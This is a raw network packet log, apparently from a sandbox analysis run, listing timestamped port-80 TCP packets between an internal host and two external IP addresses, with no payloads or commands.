Aug 30, 2024 03:17:08.084111929 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084115982 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.084151983 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.084214926 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084219933 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084237099 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084249020 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084259987 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084264994 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084270954 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084271908 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.084276915 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084281921 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084305048 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.084305048 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.084319115 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084325075 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084336996 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084343910 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084355116 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084383965 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.084392071 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084395885 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.084398031 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084436893 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.084507942 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084513903 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084558964 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.084594011 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084599018 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084604979 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084609032 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084620953 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084625006 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084630966 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.084661961 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.084765911 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.084770918 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.084784031 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.084794044 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.084809065 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.084831953 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.084857941 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.084863901 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.084902048 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.084964991 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.084980011 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.084985971 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.085000038 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.085002899 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.085009098 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.085020065 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.085025072 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.085028887 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.085053921 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.085071087 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085077047 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085088015 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085093021 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085117102 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.085119963 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085125923 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085129023 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.085130930 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085134983 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085140944 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.085167885 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.085167885 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.085181952 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.085207939 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.085258961 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.085273027 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.085330963 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085336924 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085340977 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085361004 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085367918 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085377932 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085382938 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085395098 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085397005 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.085407019 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085412025 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085418940 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085429907 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.085429907 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.085431099 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085450888 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085455894 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.085457087 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085463047 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.085491896 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.085500956 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.086143970 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.086188078 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.086193085 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.086257935 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.086262941 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.086263895 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.086275101 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.086278915 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.086309910 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.086329937 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.086329937 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.086335897 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.086340904 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.086347103 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.086350918 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.086378098 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.086390018 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.086405039 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.086410999 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.086421967 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.086426973 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.086452961 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.086452961 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.088186979 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.088192940 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.088198900 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.088238955 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.088243961 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.088248014 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.088255882 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.088262081 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.088283062 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.088310003 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.088731050 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.088768959 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.088773966 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.088825941 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.088857889 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.088864088 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.088870049 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.088875055 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.088898897 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.088911057 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.088968992 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.088975906 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.088987112 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.089013100 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.089047909 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.089054108 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.089060068 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.089063883 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.089087963 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.089098930 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.127235889 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.127240896 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.127254963 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.127304077 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.127329111 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.127370119 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.127374887 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.127383947 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.127388954 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.127397060 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.127413034 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.127441883 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.127440929 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.127449036 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.127454042 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.127459049 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.127484083 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.127523899 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.127528906 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.127538919 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.127568007 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.152406931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152425051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152461052 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.152486086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.152534008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152539968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152545929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152551889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152591944 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.152672052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152678013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152683973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152688980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152693987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152698994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152717113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152721882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152725935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.152743101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.152760983 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.152798891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152803898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152815104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152820110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152825117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152837038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152849913 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.152873993 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.152928114 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152932882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152942896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.152996063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.153050900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153055906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153067112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153070927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153076887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153081894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153088093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153094053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153109074 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.153109074 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.153122902 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.153188944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153263092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153269053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153280020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153285027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153290033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153320074 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.153342962 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153347969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153357983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153363943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153368950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153381109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153383970 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.153383970 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.153398991 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.153409958 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.153472900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153479099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153492928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153497934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153503895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153515100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153517962 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.153520107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153538942 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.153562069 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.153570890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153577089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153595924 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.153604984 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.153688908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153695107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153704882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153709888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153714895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153721094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153727055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153729916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.153732061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153737068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153742075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153753042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.153753042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.153794050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.153906107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153911114 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153923035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153928041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153933048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.153956890 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.153984070 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.154023886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.154030085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.154041052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.154072046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.154076099 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.154078007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.154089928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.154133081 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.154133081 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.155174971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155179977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155190945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155195951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155200958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155227900 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.155314922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155318975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155347109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155353069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155361891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155368090 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155369043 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.155369043 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.155373096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155380011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155385971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155390978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155396938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155401945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155404091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.155406952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155436039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155441046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155447006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155452013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155458927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.155463934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155488968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.155488968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.155534983 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.155601025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155606985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155611992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155616999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155622959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155628920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155635118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155641079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155642033 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.155651093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155669928 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.155684948 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.155684948 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.155723095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155729055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155733109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155751944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155757904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155761957 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.155769110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155774117 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.155775070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.155806065 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.155822992 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.162751913 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.162784100 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.162810087 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.162851095 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.162893057 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.162899017 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.162910938 CEST	80	49737	176.113.115.33	192.168.2.4
